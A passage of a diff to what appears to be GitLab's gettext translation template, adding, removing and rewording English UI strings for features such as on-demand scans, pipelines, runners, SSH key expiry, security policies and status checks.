msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -23985,19 +24367,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24017,6 +24399,12 @@ msgid_plural "%d more items"
msgstr[0] ""
msgstr[1] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24056,6 +24444,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24077,6 +24468,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24095,7 +24489,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24335,6 +24729,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -24691,6 +25088,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -24787,9 +25187,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -25042,6 +25439,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -25357,9 +25760,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25489,6 +25889,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -25504,9 +25907,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -25597,10 +25997,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -25741,6 +26141,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25768,9 +26171,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26011,7 +26411,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26293,7 +26693,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -26314,13 +26714,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -26362,13 +26762,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key can still be used after expiration."
+msgstr ""
+
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26698,9 +27101,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -26779,6 +27179,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -27046,12 +27449,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -27121,6 +27530,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27145,6 +27557,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27166,6 +27581,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27370,6 +27791,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -27577,6 +28001,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27595,9 +28022,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -27958,6 +28391,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28120,6 +28556,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28234,6 +28673,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28335,9 +28780,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -28505,6 +28947,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -28532,6 +28977,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -28541,6 +28989,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28658,15 +29112,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -28682,6 +29136,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28751,6 +29208,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -28775,6 +29235,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -28954,6 +29417,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -28975,6 +29441,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -28993,6 +29462,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29071,7 +29543,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29086,6 +29558,12 @@ msgstr ""
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29107,6 +29585,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29146,6 +29627,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29213,6 +29697,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29529,6 +30016,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29583,6 +30073,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29595,6 +30088,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29616,6 +30112,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29628,12 +30127,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29667,6 +30172,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29676,6 +30184,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29706,12 +30217,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29769,19 +30286,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
+msgstr ""
+
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -29862,21 +30385,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30253,6 +30761,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -30277,6 +30788,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30325,7 +30839,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30340,7 +30854,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30352,7 +30866,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30412,6 +30926,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30421,6 +30938,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30445,6 +30965,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30514,7 +31040,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30523,6 +31052,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30544,6 +31076,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30763,7 +31301,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30796,6 +31334,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -30934,6 +31475,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31138,9 +31682,6 @@ msgstr ""
msgid "Sep"
msgstr ""
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -31240,7 +31781,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31252,6 +31802,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31297,6 +31850,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31378,6 +31934,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31435,9 +31994,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr ""
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -31512,9 +32068,6 @@ msgid_plural "Settings saved successfully"
msgstr[0] ""
msgstr[1] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -31581,6 +32134,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31596,6 +32170,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -31644,18 +32221,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -32020,6 +32588,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32104,9 +32678,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32383,9 +32954,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32404,6 +32972,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32557,9 +33152,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -32704,6 +33296,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32725,7 +33320,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32734,6 +33329,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32755,6 +33353,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -32770,6 +33374,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33755,10 +34362,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34013,7 +34620,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34049,7 +34656,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34255,9 +34865,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34390,9 +34997,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34447,6 +35051,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
